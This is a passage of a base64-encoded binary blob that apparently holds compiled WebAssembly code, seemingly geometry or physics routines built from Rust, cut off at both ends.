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sgBEEMaiEEIAFBDGsiAQ0ACwwBCyACIAVqIgEgA0YNACABIANrQQxuQQxsIQQgAyAAKAIQIgBrQQxuQQxsIABqQQhqIQIDQCACKAIAIgAoAgAhASAAIAFBAWs2AgAgAUEBRgRAIAIoAgAQqAgLIAJBDGohAiAEQQxrIgQNAAsLC5oDAQF/AkACQCAARQ0AIAAoAgANASAAQX82AgAgAUUNACABKAIAIgtBf0YNASABIAtBAWo2AgAgAkUNACACKAIAIgtBf0YNASACIAtBAWo2AgAgA0UNACADKAIADQEgA0F/NgIAIARFDQAgBCgCAA0BIARBfzYCACAFRQ0AIAUoAgANASAFQX82AgAgBkUNACAGKAIADQEgBkF/NgIAIAdFDQAgBygCAA0BIAdBfzYCACAIRQ0AIAgoAgANASAIQX82AgAgCUUNACAJKAIADQEgCUF/NgIAIApFDQAgCigCAA0BIApBfzYCACAAQQhqIAFBBGogAkEEaiADQQRqIARBBGogBUEEaiAGQQRqIAdBBGogCEEEaiAJQQRqIApBBGpBuIDAAEGousAAQbiAwABBzLrAABAYIApBADYCACAJQQA2AgAgCEEANgIAIAdBADYCACAGQQA2AgAgBUEANgIAIARBADYCACADQQA2AgAgAiACKAIAQQFrNgIAIAEgASgCAEEBazYCACAAQQA2AgAPCxCmCwALEKcLAAugAwEEfyMAQUBqIgEkAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEHMAmoiBC0AACEDIARBAjoAACABQRBqIABBnAJqKQIANwMAIAFBGGogAEGkAmopAgA3AwAgAUEgaiAAQawCaikCADcDACABQShqIABBtAJqKQIANwMAIAFBMGogAEG8AmopAgA3AwAgAUE4aiAAQcQCaikCADcDACABQQZqIABBzwJqLQAAOgAAIAEgAEGUAmopAgA3AwggASAAQc0Cai8AADsBBAJAIANBAkcEQEHAAEEEENAKIgJFDQEgAkEANgIAIAIgASkDCDcCBCACIAM6ADwgAiABLwEEOwA9IAJBDGogAUEQaikDADcCACACQRRqIAFBGGopAwA3AgAgAkEcaiABQSBqKQMANwIAIAJBJGogAUEoaikDADcCACACQSxqIAFBMGopAwA3AgAgAkE0aiABQThqKQ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YCeCADIAY2AnQgAyABNgJwIAMgBCkCADcDQCADQYACaiICQQhqIAhBCGopAgA3AwAgAyAIKQIANwOAAiADQYABaiACEIQGIAMgCDYCyAEgAyAQOgDMASADICI4AsABIAMgBzYCxAEgACICAn9BACABQRhqKAIAIgpFDQAaIANBADYC2AEgA0KAgICAwAA3A9ABIANB0AFqIgRBABC/BCADKALUASADKALYASIAQQN0akKAgICA8P///343AgAgAyAAQQFqNgLYASADQfABaiAEEIACAkAgAygC8AFBAUcNACADQdMCaiENIANB4AJqQQRyIQ4gA0GAAmpBBHIhFkP//39/ISMgAUEUaiEcIAFBPGohDyABQThqIRcDQCAjIAMqAvgBjF8NAQJAAn0CQCADKAL0ASIAIApJBEAgHCgCACAAQeAAbGoiCS0AWEEBcSIEBEAgFygCACIGIAkoAkAiAEEEdGpBACAPKAIAIgEgAEsbIgBBCGpBACAAGyEYIAYgCUHMAGooAgAiAEEEdGpBACAAIAFJGyIAQQhqQQAgABshGSAGIAlByABqKAIAIgBBBHRqQQAgACABSRsiAEEIakEAIAAbIRogBiAJQcQAaigCACIAQQR0akEAIAAgAUkbIgBBCGpBACAAGyERCyADIA